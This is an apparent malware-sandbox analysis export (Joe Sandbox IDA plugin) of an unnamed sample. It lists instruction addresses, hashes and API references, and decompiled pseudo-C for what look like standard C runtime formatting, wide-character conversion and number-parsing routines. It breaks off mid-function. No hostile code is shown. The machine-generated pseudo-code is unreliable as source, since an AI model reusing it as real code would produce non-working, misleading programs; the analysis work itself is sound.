0x00420e07
0x00420e11
0x00420e38
0x00420e1f
0x00420e30
0x00420e30
0x00420e11
0x00420e42
0x00420e48
0x00420e54
0x00420e57
0x00420e65
0x00420e68
0x00420e75
0x00420f1a
0x00420f20
0x00420f2d
0x00000000
0x00000000
0x00420f33
0x00420f39
0x00000000
0x00420f40
0x00420f40
0x00420f5a
0x00420f5f
0x00000000
0x00000000
0x00420f67
0x00420f67
0x00420f6e
0x00420f71
0x00420f74
0x00420f77
0x00420f7a
0x00420f7d
0x00420f80
0x00420f87
0x00420f8e
0x00000000
0x00000000
0x00420f9a
0x00420f9a
0x00420fa1
0x00420fad
0x00420fb0
0x00420fbd
0x00000000
0x00000000
0x00420fbf
0x00420fc5
0x00420fc5
0x00420fcc
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00421010
0x00421010
0x0042101a
0x00421047
0x00421051
0x00421051
0x00421055
0x0042101c
0x0042101c
0x00421028
0x0042102f
0x00421034
0x00421037
0x0042103a
0x0042103d
0x0042103f
0x0042103f
0x00421042
0x00000000
0x00000000
0x0042105d
0x0042105d
0x00000000
0x00000000
0x00421069
0x00421069
0x00421073
0x00421093
0x00421096
0x004210a0
0x004210a0
0x004210a4
0x00421075
0x00421075
0x00421081
0x00421088
0x0042108a
0x0042108a
0x00421091
0x00000000
0x00000000
0x004210ac
0x004210ac
0x004210b3
0x004210bf
0x004210c2
0x004210cf
0x004211e2
0x00000000
0x004211e2
0x004210d5
0x004210db
0x004210db
0x004210e2
0x00000000
0x00421119
0x00421119
0x0042111c
0x00421122
0x00421149
0x00421149
0x0042114c
0x00421152
0x00421176
0x00421176
0x00421179
0x0042117f
0x004211b8
0x004211c9
0x00000000
0x004211c9
0x00421181
0x00421181
0x00421184
0x0042118a
0x00000000
0x00000000
0x0042118c
0x0042118c
0x0042118f
0x00421195
0x00000000
0x00000000
0x00421197
0x00421197
0x0042119a
0x004211a0
0x00000000
0x00000000
0x004211a2
0x004211a2
0x004211a5
0x004211ab
0x00000000
0x00000000
0x004211ad
0x004211ad
0x004211b0
0x004211b6
0x004211ba
0x00000000
0x004211ba
0x00000000
0x004211b6
0x00421154
0x00421154
0x00421157
0x0042115e
0x00000000
0x00421160
0x00421163
0x00421166
0x0042116c
0x00421171
0x00000000
0x00421171
0x0042115e
0x00421124
0x00421124
0x00421127
0x0042112e
0x00000000
0x00421130
0x00421133
0x00421136
0x0042113c
0x00421141
0x00000000
0x00421141
0x00000000
0x004211cb
0x004211cb
0x004211ce
0x004211d1
0x00000000
0x00000000
0x004210e9
0x004210e9
0x004210ec
0x004210f2
0x0042110e
0x00421111
0x004210f4
0x004210f4
0x004210f7
0x004210fa
0x00421100
0x00421106
0x00421106
0x00000000
0x00000000
0x004211d6
0x004211d9
0x004211df
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00420fe9
0x00420fe9
0x00420fec
0x00420fef
0x00000000
0x00000000
0x00420ff4
0x00420ff7
0x00420ffd
0x00000000
0x00000000
0x00420fde
0x00420fe1
0x00420fe4
0x00000000
0x00000000
0x00420fd3
0x00420fd6
0x00420fd9
0x00000000
0x00000000
0x00421002
0x00421005
0x00421008
0x00000000
0x00000000
0x0042100b
0x00000000
0x00000000
0x00420e7b
0x00420e7b
0x00420e7d
0x00420e8b
0x00420e7f
0x00420e7f
0x00420e7f
0x00420e9b
0x00420ea8
0x00420eaa
0x00420eaf
0x00420eb1
0x00420eb6
0x00420ebb
0x00420ebd
0x00420ec2
0x00420ec8
0x00420eca
0x00420eca
0x00420ec8
0x00420ecb
0x00420ed2
0x00000000
0x00420ed4
0x00420ed9
0x00420ef5
0x00420efd
0x00420f0a
0x00420f0f
0x00421d24
0x00421d31
0x00421d31
0x00420ed2
0x00420e75
0x00421c60
0x00421c67
0x00421c7e
0x00421c72
0x00421c72
0x00421c72
0x00421c88
0x00421c8e
0x00421c9b
0x00421c9d
0x00421ca2
0x00421ca4
0x00421ca9
0x00421cae
0x00421cb0
0x00421cb5
0x00421cbb
0x00421cbd
0x00421cbd
0x00421cbb
0x00421cc5
0x00421d10
0x00421d19
0x00421d1e
0x00421cc7
0x00421ccc
0x00421ce8
0x00421cf0
0x00421cfd
0x00421d02
0x00421d02
0x00000000
0x00421cc5
0x00421a6a
0x00421a70
0x00421a7a
0x00421a94
0x00421aae
0x00421ab5
0x00421ab9
0x00421ab9
0x00421a96
0x00421a9b
0x00421a9f
0x00421a9f
0x00421a7c
0x00421a81
0x00421a85
0x00421a85
0x00421a7a
0x00421ac9
0x00421ad5
0x00421aeb
0x00421af0
0x00421af0
0x00421b06
0x00421b0b
0x00421b14
0x00421b32
0x00421b37
0x00421b37
0x00421b3e
0x00421bf8
0x00421c0b
0x00421c10
0x00000000
0x00421b4e
0x00421b4e
0x00421b51
0x00421b5a
0x00421b60
0x00421b60
0x00421b6f
0x00421b77
0x00000000
0x00000000
0x00421b79
0x00421b7c
0x00421ba1
0x00421ba6
0x00421ba9
0x00421bb6
0x00421bc4
0x00421bd7
0x00421bdc
0x00421beb
0x00000000
0x00421beb
0x00421bb8
0x00421bb8
0x00000000
0x00421bb8
0x00421bf6
0x00421c13
0x00421c1a
0x00421c38
0x00421c3d
0x00421c3d
0x00000000
0x00421c1a
0x004211e7
0x004211e7
0x004211ee
0x004211f4
0x004211fa
0x004211fd
0x00421203
0x00421210
0x00421216
0x00421216
0x0042121d
0x00000000
0x004215a1
0x004215a1
0x004215af
0x004215b2
0x00000000
0x00000000
0x00421224
0x00421227
0x0042122d
0x00421232
0x00421235
0x00421235
0x00000000
0x00000000
0x0042136a
0x0042136d
0x00421372
0x00421377
0x0042137a
0x0042137a
0x00000000
0x00000000
0x0042176d
0x0042176d
0x00000000
0x00000000
0x004212d4
0x004212d4
0x004212e0
0x004212ed
0x004212fb
0x004212fb
0x00421301
0x00421304
0x00421310
0x00421365
0x00000000
0x00421365
0x004212ef
0x004212ef
0x004212f9
0x00421315
0x00421318
0x0042131e
0x00421346
0x0042134d
0x00421353
0x00421356
0x00421359
0x0042135f
0x00421362
0x00421320
0x00421320
0x00421326
0x00421329
0x0042132c
0x00421332
0x00421335
0x00421338
0x0042133a
0x0042133d
0x0042133d
0x00000000
0x0042131e
0x00000000
0x00000000
0x004215b9
0x004215bc
0x004215bf
0x004215c2
0x004215c8
0x004215cb
0x004215d6
0x004215e1
0x004215e5
0x004215fc
0x00421603
0x00421605
0x00421605
0x0042160c
0x00421613
0x00421621
0x00421624
0x00421633
0x0042163a
0x0042164f
0x0042163c
0x0042163c
0x0042163f
0x00421645
0x0042164a
0x0042164a
0x0042163a
0x00421659
0x0042165c
0x0042165f
0x00421662
0x00421665
0x00421668
0x0042166e
0x00421674
0x0042167c
0x0042167d
0x00421680
0x00421681
0x00421684
0x00421685
0x0042168c
0x0042168d
0x00421690
0x00421691
0x00421694
0x00421695
0x0042169b
0x0042169c
0x004216ab
0x004216ad
0x004216b3
0x004216b8
0x004216c0
0x004216c8
0x004216c9
0x004216cc
0x004216cd
0x004216dc
0x004216de
0x004216de
0x004216e1
0x004216eb
0x004216f0
0x004216f6
0x004216f8
0x00421700
0x00421701
0x00421704
0x00421705
0x00421713
0x00421715
0x00421715
0x004216f6
0x00421718
0x0042171b
0x00421721
0x00421726
0x0042172b
0x00421731
0x00421734
0x00421734
0x00421737
0x00421743
0x00000000
0x00421743
0x004215e7
0x004215e7
0x004215f1
0x00000000
0x00000000
0x004215f3
0x004215f3
0x00000000
0x004215f3
0x004215d8
0x004215d8
0x00000000
0x00000000
0x00421238
0x00421238
0x00421243
0x0042124b
0x00421252
0x00421255
0x00421258
0x004212b8
0x0042125a
0x00421261
0x00421267
0x0042126d
0x00421274
0x00421277
0x0042127d
0x00421285
0x00421287
0x0042128e
0x00421295
0x004212a6
0x004212a8
0x004212a8
0x004212af
0x004212bf
0x004212c5
0x004212c8
0x00000000
0x00000000
0x00000000
0x00000000
0x004214aa
0x004214aa
0x004214b6
0x004214c3
0x0042156d
0x0042156d
0x00421570
0x00421573
0x00421587
0x0042158d
0x00421593
0x00421575
0x00421575
0x0042157b
0x00421582
0x00421582
0x00421595
0x00000000
0x00421595
0x004214c9
0x004214c9
0x004214cb
0x004214d9
0x004214cd
0x004214cd
0x004214cd
0x004214e3
0x004214e9
0x004214f6
0x004214f8
0x004214fd
0x004214ff
0x00421504
0x00421509
0x0042150b
0x00421510
0x00421516
0x00421518
0x00421518
0x00421516
0x00421520
0x00421568
0x00000000
0x00421522
0x00421522
0x00421527
0x00421543
0x0042154b
0x00421555
0x00421558
0x0042155d
0x00000000
0x0042155d
0x00000000
0x004217b4
0x004217b4
0x004217be
0x004217c4
0x004217c9
0x004217cf
0x004217cf
0x00000000
0x00000000
0x00421766
0x00421766
0x00000000
0x00000000
0x0042137d
0x00421381
0x0042138f
0x00421392
0x00421383
0x00421383
0x00421383
0x00421398
0x0042139e
0x004213a4
0x004213b0
0x004213b6
0x004213b9
0x00421441
0x00421445
0x00421447
0x0042144d
0x0042144d
0x00421450
0x00421457
0x0042145a
0x00421460
0x00421460
0x00421460
0x00421466
0x0042146c
0x0042146f
0x00421477
0x00000000
0x00000000
0x00421479
0x00421479
0x0042147f
0x00421484
0x00000000
0x00000000
0x00421486
0x0042148c
0x0042148f
0x0042148f
0x00421497
0x0042149d
0x004214a0
0x004214a2
0x00000000
0x004213bf
0x004213bf
0x004213c3
0x004213c5
0x004213ca
0x004213ca
0x004213cd
0x004213d0
0x004213d6
0x004213e8
0x004213e8
0x004213e8
0x004213f1
0x00000000
0x00000000
0x004213f3
0x004213f3
0x004213f9
0x004213fe
0x00000000
0x00000000
0x00421400
0x00421400
0x00421409
0x0042140f
0x0042141d
0x00421425
0x00421428
0x00421428
0x00421434
0x00421437
0x004213e2
0x004213e5
0x004213e5
0x0042143f
0x004214a5
0x00000000
0x004214a5
0x00000000
0x0042175d
0x0042175d
0x00000000
0x00000000
0x00421779
0x00421779
0x00421783
0x00421783
0x0042178d
0x00421793
0x00421795
0x0042179a
0x004217a4
0x004217a7
0x004217ab
0x004217ab
0x00000000
0x00000000
0x00000000
0x00000000
0x0042121d
0x00421a60
0x00421a60
0x00421a60
0x00421a60
0x00421a60
0x00421a60
0x00421a60
0x004218b7
0x004218ae
0x004217d2
0x004217d2
0x004217d2

APIs

_get_int64_arg.LIBCMTD ref: 004217E0
_get_int64_arg.LIBCMTD ref: 00421808
__aullrem.LIBCMT ref: 004219B0
__aulldiv.LIBCMT ref: 004219D2
_write_multi_char.LIBCMTD ref: 00421AEB
_write_string.LIBCMTD ref: 00421B06
_write_multi_char.LIBCMTD ref: 00421B32
__mbtowc_l.LIBCMTD ref: 00421BA1

Strings

("Incorrect format specifier", 0), xrefs: 00420EAA, 00420EF0
_woutput_s_l, xrefs: 00420EEB
9, xrefs: 004219E3
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 00420EB6, 00420EE6

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem__mbtowc_l_write_string
String ID: ("Incorrect format specifier", 0)$9$_woutput_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 3455034128-2408376751
Opcode ID: 96232a26c0e9fde6638b581040ba1ec5bd3124561de6f76266e1f30cdc9d973f
Instruction ID: 0baffff50e81a8e08f8aa1deaacdb702baeacbfac71b7eba7f8bfa2c127b83a0
Opcode Fuzzy Hash: 96232a26c0e9fde6638b581040ba1ec5bd3124561de6f76266e1f30cdc9d973f
Instruction Fuzzy Hash: A6F18CF1E002299FDB24CF45DC81BAEB7B4BF95304F5441AAE109A7251D338AE84CF19

Uniqueness

Uniqueness Score: -1.00%

Function 00435923, Relevance: 33.3, APIs: 22, Instructions: 296
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00435923() {
				intOrPtr* _t143;
				signed int* _t145;
				int _t150;
				intOrPtr* _t167;
				intOrPtr _t189;
				void* _t206;
				intOrPtr _t223;
				intOrPtr _t230;
				void* _t272;
				void* _t273;
				signed int _t274;

				if( *(_t274 + 8) == 0) {
					_t143 = E0041EA40(_t274 - 0x20);
					_t208 =  *_t143;
					if( *((intOrPtr*)( *_t143 + 0x14)) != 0) {
						_t210 = _t274 - 0x20;
						_t145 = E0041EA40(_t274 - 0x20);
						_t256 =  *_t145;
						 *(_t274 - 4) = WideCharToMultiByte( *( *_t145 + 4), 0,  *(_t274 + 0xc), 0xffffffff, 0, 0, 0, _t274 - 0x10);
						if( *(_t274 - 4) == 0 ||  *(_t274 - 0x10) != 0) {
							 *((intOrPtr*)(L0041F530(_t210))) = 0x2a;
							 *(_t274 - 0x68) = 0xffffffff;
							E0041EA10(_t274 - 0x20);
							_t150 =  *(_t274 - 0x68);
						} else {
							 *(_t274 - 0x6c) =  *(_t274 - 4) - 1;
							E0041EA10(_t274 - 0x20);
							_t150 =  *(_t274 - 0x6c);
						}
					} else {
						_t256 =  *(_t274 + 0xc);
						 *(_t274 - 0x64) = E0042ECB0(_t208,  *(_t274 + 0xc));
						E0041EA10(_t274 - 0x20);
						_t150 =  *(_t274 - 0x64);
					}
					L47:
					return E004242B0(_t150, _t206,  *(_t274 - 0x24) ^ _t274, _t256, _t272, _t273);
				}
				if( *((intOrPtr*)( *((intOrPtr*)(E0041EA40(_t274 - 0x20))) + 0x14)) != 0) {
					if( *((intOrPtr*)( *((intOrPtr*)(E0041EA40(_t274 - 0x20))) + 0xac)) != 1) {
						_t223 =  *((intOrPtr*)(E0041EA40(_t274 - 0x20)));
						_t256 =  *(_t223 + 4);
						 *(_t274 - 4) = WideCharToMultiByte( *(_t223 + 4), 0,  *(_t274 + 0xc), 0xffffffff,  *(_t274 + 8),  *(_t274 + 0x10), 0, _t274 - 0x10);
						if( *(_t274 - 4) == 0 ||  *(_t274 - 0x10) != 0) {
							if( *(_t274 - 0x10) != 0 || GetLastError() != 0x7a) {
								 *((intOrPtr*)(L0041F530(_t223))) = 0x2a;
								 *(_t274 - 0x4c) = 0xffffffff;
								E0041EA10(_t274 - 0x20);
								_t150 =  *(_t274 - 0x4c);
							} else {
								while( *(_t274 - 4) <  *(_t274 + 0x10)) {
									_t167 = E0041EA40(_t274 - 0x20);
									_t230 =  *((intOrPtr*)(E0041EA40(_t274 - 0x20)));
									_t256 =  *(_t230 + 4);
									 *((intOrPtr*)(_t274 - 0xc)) = WideCharToMultiByte( *(_t230 + 4), 0,  *(_t274 + 0xc), 1, _t274 - 0x2c,  *( *_t167 + 0xac), 0, _t274 - 0x10);
									if( *((intOrPtr*)(_t274 - 0xc)) == 0 ||  *(_t274 - 0x10) != 0) {
										 *((intOrPtr*)(L0041F530(_t230))) = 0x2a;
										 *(_t274 - 0x50) = 0xffffffff;
										E0041EA10(_t274 - 0x20);
										_t150 =  *(_t274 - 0x50);
									} else {
										if( *((intOrPtr*)(_t274 - 0xc)) < 0 ||  *((intOrPtr*)(_t274 - 0xc)) > 5) {
											 *((intOrPtr*)(L0041F530(_t230))) = 0x2a;
											 *(_t274 - 0x54) = 0xffffffff;
											E0041EA10(_t274 - 0x20);
											_t150 =  *(_t274 - 0x54);
										} else {
											if( *(_t274 - 4) +  *((intOrPtr*)(_t274 - 0xc)) <=  *(_t274 + 0x10)) {
												 *(_t274 - 8) = 0;
												while( *(_t274 - 8) <  *((intOrPtr*)(_t274 - 0xc))) {
													( *(_t274 + 8))[ *(_t274 - 4)] =  *((intOrPtr*)(_t274 +  *(_t274 - 8) - 0x2c));
													_t256 =  &(( *(_t274 + 8))[ *(_t274 - 4)]);
													if(( *(_t274 + 8))[ *(_t274 - 4)] != 0) {
														 *(_t274 - 8) =  *(_t274 - 8) + 1;
														 *(_t274 - 4) =  *(_t274 - 4) + 1;
														continue;
													}
													 *(_t274 - 0x5c) =  *(_t274 - 4);
													E0041EA10(_t274 - 0x20);
													_t150 =  *(_t274 - 0x5c);
													goto L47;
												}
												_t256 =  &(( *(_t274 + 0xc))[1]);
												 *(_t274 + 0xc) =  &(( *(_t274 + 0xc))[1]);
												continue;
											}
											 *(_t274 - 0x58) =  *(_t274 - 4);
											E0041EA10(_t274 - 0x20);
											_t150 =  *(_t274 - 0x58);
										}
									}
									goto L47;
								}
								 *(_t274 - 0x60) =  *(_t274 - 4);
								E0041EA10(_t274 - 0x20);
								_t150 =  *(_t274 - 0x60);
							}
						} else {
							 *(_t274 - 0x48) =  *(_t274 - 4) - 1;
							E0041EA10(_t274 - 0x20);
							_t150 =  *(_t274 - 0x48);
						}
						goto L47;
					}
					if( *(_t274 + 0x10) > 0) {
						 *(_t274 + 0x10) = E00435D10( *(_t274 + 0xc),  *(_t274 + 0x10));
					}
					_t256 =  *(_t274 + 0xc);
					_t189 =  *((intOrPtr*)(E0041EA40(_t274 - 0x20)));
					_t243 =  *(_t189 + 4);
					 *(_t274 - 4) = WideCharToMultiByte( *(_t189 + 4), 0,  *(_t274 + 0xc),  *(_t274 + 0x10),  *(_t274 + 8),  *(_t274 + 0x10), 0, _t274 - 0x10);
					if( *(_t274 - 4) == 0 ||  *(_t274 - 0x10) != 0) {
						 *((intOrPtr*)(L0041F530(_t243))) = 0x2a;
						 *(_t274 - 0x44) = 0xffffffff;
						E0041EA10(_t274 - 0x20);
						_t150 =  *(_t274 - 0x44);
					} else {
						if( *((char*)( &(( *(_t274 + 8))[ *(_t274 - 4)]) - 1)) == 0) {
							 *(_t274 - 4) =  *(_t274 - 4) - 1;
						}
						_t256 =  *(_t274 - 4);
						 *(_t274 - 0x40) =  *(_t274 - 4);
						E0041EA10(_t274 - 0x20);
						_t150 =  *(_t274 - 0x40);
					}
					goto L47;
				} else {
					goto L2;
				}
				while(1) {
					L2:
					_t248 =  *(_t274 - 4);
					if( *(_t274 - 4) >=  *(_t274 + 0x10)) {
						break;
					}
					_t256 =  *(_t274 + 0xc);
					if(( *( *(_t274 + 0xc)) & 0x0000ffff) <= 0xff) {
						( *(_t274 + 8))[ *(_t274 - 4)] =  *( *(_t274 + 0xc));
						_t256 =  *( *(_t274 + 0xc)) & 0x0000ffff;
						 *(_t274 + 0xc) =  &(( *(_t274 + 0xc))[1]);
						if(( *( *(_t274 + 0xc)) & 0x0000ffff) != 0) {
							_t256 =  *(_t274 - 4) + 1;
							 *(_t274 - 4) =  *(_t274 - 4) + 1;
							continue;
						}
						 *(_t274 - 0x38) =  *(_t274 - 4);
						E0041EA10(_t274 - 0x20);
						_t150 =  *(_t274 - 0x38);
					} else {
						 *((intOrPtr*)(L0041F530(_t248))) = 0x2a;
						 *(_t274 - 0x34) = 0xffffffff;
						E0041EA10(_t274 - 0x20);
						_t150 =  *(_t274 - 0x34);
					}
					goto L47;
				}
				 *(_t274 - 0x3c) =  *(_t274 - 4);
				E0041EA10(_t274 - 0x20);
				_t150 =  *(_t274 - 0x3c);
				goto L47;
			}

0x00435927
0x00435c5e
0x00435c63
0x00435c69
0x00435c9b
0x00435c9e
0x00435ca3
0x00435caf
0x00435cb6
0x00435cc3
0x00435cc9
0x00435cd3
0x00435cd8
0x00435cdd
0x00435ce3
0x00435ce9
0x00435cee
0x00435cee
0x00435c6b
0x00435c6b
0x00435c77
0x00435c7d
0x00435c82
0x00435c82
0x00435cfb
0x00435d08
0x00435d08
0x0043593b
0x004359e5
0x00435ab1
0x00435ab3
0x00435abd
0x00435ac4
0x00435ae9
0x00435afb
0x00435b01
0x00435b0b
0x00435b10
0x00435b18
0x00435b18
0x00435b2d
0x00435b4f
0x00435b51
0x00435b5b
0x00435b62
0x00435b6f
0x00435b75
0x00435b7f
0x00435b84
0x00435b8c
0x00435b90
0x00435b9d
0x00435ba3
0x00435bad
0x00435bb2
0x00435bba
0x00435bc3
0x00435bdb
0x00435bf6
0x00435c0b
0x00435c10
0x00435c18
0x00435bea
0x00435bf3
0x00000000
0x00435bf3
0x00435c1d
0x00435c23
0x00435c28
0x00000000
0x00435c28
0x00435c35
0x00435c38
0x00000000
0x00435c38
0x00435bc8
0x00435bce
0x00435bd3
0x00435bd3
0x00435b90
0x00000000
0x00435b62
0x00435c43
0x00435c49
0x00435c4e
0x00435c4e
0x00435acc
0x00435ad2
0x00435ad8
0x00435add
0x00435add
0x00000000
0x00435ac4
0x004359ef
0x00435a01
0x00435a01
0x00435a16
0x00435a24
0x00435a26
0x00435a30
0x00435a37
0x00435a71
0x00435a77
0x00435a81
0x00435a86
0x00435a3f
0x00435a4b
0x00435a53
0x00435a53
0x00435a56
0x00435a59
0x00435a5f
0x00435a64
0x00435a64
0x00000000
0x00000000
0x00000000
0x00000000
0x00435941
0x00435941
0x00435941
0x00435947
0x00000000
0x00000000
0x00435949
0x00435954
0x00435983
0x00435988
0x00435991
0x00435996
0x004359b1
0x004359b4
0x00000000
0x004359b4
0x0043599b
0x004359a1
0x004359a6
0x00435956
0x0043595b
0x00435961
0x0043596b
0x00435970
0x00435970
0x00000000
0x00435954
0x004359bc
0x004359c2
0x004359c7
0x00000000

APIs

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043596B
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004359A1
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004359C2
wcsncnt.LIBCMTD ref: 004359F9
WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 00435A2A
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00435A5F
_wcslen.LIBCMTD ref: 00435C6F
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00435C7D

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$ByteCharMultiWide_wcslenwcsncnt
String ID:
API String ID: 4277434810-0
Opcode ID: 85dc6100d0a0380b550b1636a582083fce366c6286f7b9c0c3b496699668f863
Instruction ID: f133350bfc2854603ad527ff5128469dc1fe540bd7136d0aef826e8e0492abbd
Opcode Fuzzy Hash: 85dc6100d0a0380b550b1636a582083fce366c6286f7b9c0c3b496699668f863
Instruction Fuzzy Hash: 9FD12975A00608DFCB04DF95C994BEEB7B1FF48308F20955AE8126B291D738AE42DF58

Uniqueness

Uniqueness Score: -1.00%

Function 00425E02, Relevance: 30.1, APIs: 15, Strings: 2, Instructions: 387
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E00425E02(void* __edi) {
				signed int _t820;
				void* _t825;
				void* _t830;
				signed int _t834;
				signed int _t837;
				intOrPtr _t839;
				signed int _t850;
				signed int _t933;
				signed int _t935;
				signed int _t938;
				signed int _t942;
				signed int _t945;
				void* _t956;
				void* _t957;
				signed int _t970;
				signed int _t975;
				signed int _t982;
				signed int _t1063;
				signed int _t1069;
				void* _t1129;
				void* _t1130;
				signed int _t1131;
				void* _t1133;
				void* _t1136;
				void* _t1140;

				L0:
				while(1) {
					L0:
					_t1129 = __edi;
					 *(_t1131 - 0x44) = 0x64;
					while(1) {
						L168:
						if( *(__ebp - 0x21c) != 0x2d) {
							goto L170;
						}
						L169:
						 *(__ebp - 2) =  *(__ebp - 2) + 1;
						 *(__ebp - 2) =  *(__ebp - 2) + 1;
						L171:
						__eax =  *(__ebp - 0x78);
						__eax =  *(__ebp - 0x78) - 1;
						 *(__ebp - 0x78) = __eax;
						if(__eax != 0) {
							L174:
							__edx =  *(__ebp - 0xc);
							__edx =  *(__ebp - 0xc) + 1;
							 *(__ebp - 0xc) = __edx;
							__eax =  *(__ebp + 8);
							 *(__ebp - 0x21c) = E00426CD0(__ecx,  *(__ebp + 8));
							L175:
							if( *(__ebp - 0x21c) != 0x30) {
								L188:
								while(1) {
									L197:
									if( *(__ebp - 0x30) == 0) {
										goto L225;
									}
									while(1) {
										L198:
										__edx =  *(__ebp - 0x1e);
										if( *(__ebp - 0x1e) != 0) {
											break;
										}
										L199:
										if( *((intOrPtr*)(__ebp - 0x44)) == 0x78) {
											L201:
											__eax =  *(__ebp - 0x21c) & 0x000000ff;
											__eax = E00432800(__ebx, __edi, __esi,  *(__ebp - 0x21c) & 0x000000ff);
											if(__eax == 0) {
												__dl =  *(__ebp - 0x1e);
												__dl =  *(__ebp - 0x1e) + 1;
												 *(__ebp - 0x1e) = __dl;
											} else {
												__eax =  *(__ebp - 0x200);
												__edx =  *(__ebp - 0x1fc);
												__cl = 4;
												 *(__ebp - 0x200) = E004328F0( *(__ebp - 0x200), __ecx, __edx);
												 *(__ebp - 0x1fc) = __edx;
												__ecx =  *(__ebp - 0x21c) & 0x000000ff;
												 *(__ebp - 0x21c) = E00426C90( *(__ebp - 0x21c) & 0x000000ff,  *(__ebp - 0x21c) & 0x000000ff);
											}
											L214:
											__eax =  *(__ebp - 0x1e);
											if( *(__ebp - 0x1e) != 0) {
												L220:
												__eax =  *(__ebp - 0xc);
												__eax =  *(__ebp - 0xc) - 1;
												 *(__ebp - 0xc) = __eax;
												__ecx =  *(__ebp + 8);
												__edx =  *(__ebp - 0x21c);
												__eax = E00426D30( *(__ebp - 0x21c),  *(__ebp + 8));
												L221:
												continue;
											}
											L215:
											 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
											 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
											 *(__ebp - 0x21c) =  *(__ebp - 0x21c) - 0x30;
											asm("cdq");
											__eax =  *(__ebp - 0x21c) - 0x30 +  *(__ebp - 0x200);
											__ecx =  *(__ebp - 0x1fc);
											asm("adc ecx, edx");
											 *(__ebp - 0x200) =  *(__ebp - 0x21c) - 0x30 +  *(__ebp - 0x200);
											 *(__ebp - 0x1fc) = __ecx;
											if( *(__ebp - 0x1f0) == 0) {
												L218:
												__ecx =  *(__ebp - 0xc);
												__ecx =  *(__ebp - 0xc) + 1;
												 *(__ebp - 0xc) = __ecx;
												__edx =  *(__ebp + 8);
												 *(__ebp - 0x21c) = E00426CD0(__ecx,  *(__ebp + 8));
												L219:
												goto L221;
											}
											L216:
											__edx =  *(__ebp - 0x78);
											__edx =  *(__ebp - 0x78) - 1;
											 *(__ebp - 0x78) = __edx;
											if(__edx != 0) {
												goto L218;
											}
											L217:
											__al =  *(__ebp - 0x1e);
											__al =  *(__ebp - 0x1e) + 1;
											 *(__ebp - 0x1e) = __al;
											goto L219;
										}
										L200:
										if( *((intOrPtr*)(__ebp - 0x44)) != 0x70) {
											L205:
											__eax =  *(__ebp - 0x21c) & 0x000000ff;
											__eax = E00432740(__ebx, __edi, __esi,  *(__ebp - 0x21c) & 0x000000ff);
											if(__eax == 0) {
												__dl =  *(__ebp - 0x1e);
												__dl =  *(__ebp - 0x1e) + 1;
												 *(__ebp - 0x1e) = __dl;
											} else {
												if( *((intOrPtr*)(__ebp - 0x44)) != 0x6f) {
													__eax =  *(__ebp - 0x200);
													__edx =  *(__ebp - 0x1fc);
													__cl = 2;
													__eax = E004328F0( *(__ebp - 0x200), __ecx, __edx);
													__eax = __eax +  *(__ebp - 0x200);
													asm("adc edx, [ebp-0x1fc]");
													__cl = 1;
													 *(__ebp - 0x200) = __eax;
													 *(__ebp - 0x1fc) = __edx;
												} else {
													if( *(__ebp - 0x21c) >= 0x38) {
														__cl =  *(__ebp - 0x1e);
														__cl =  *(__ebp - 0x1e) + 1;
														 *(__ebp - 0x1e) = __cl;
													} else {
														__eax =  *(__ebp - 0x200);
														__edx =  *(__ebp - 0x1fc);
														__cl = 3;
														 *(__ebp - 0x200) = E004328F0( *(__ebp - 0x200), __ecx, __edx);
														 *(__ebp - 0x1fc) = __edx;
													}
												}
											}
											goto L214;
										}
										goto L201;
									}
									L222:
									__eax =  *(__ebp - 2);
									if( *(__ebp - 2) != 0) {
										__ecx =  *(__ebp - 0x200);
										__ecx =  ~( *(__ebp - 0x200));
										__edx =  *(__ebp - 0x1fc);
										asm("adc edx, 0x0");
										__edx =  ~( *(__ebp - 0x1fc));
										 *(__ebp - 0x200) = __ecx;
										 *(__ebp - 0x1fc) =  ~( *(__ebp - 0x1fc));
									}
									L251:
									if( *((intOrPtr*)(__ebp - 0x44)) == 0x46) {
										 *(__ebp - 0x1f4) = 0;
									}
									if( *(__ebp - 0x1f4) == 0) {
										L262:
										goto L334;
									} else {
										L254:
										__edx =  *((char*)(__ebp - 0x12));
										if( *((char*)(__ebp - 0x12)) != 0) {
											L261:
											while(1) {
												L317:
												 *(_t1131 - 0x1e9) =  *(_t1131 - 0x1e9) + 1;
												 *(_t1131 + 0xc) =  *(_t1131 + 0xc) + 1;
												while(1) {
													L329:
													if( *(_t1131 - 0x21c) != 0xffffffff) {
														goto L333;
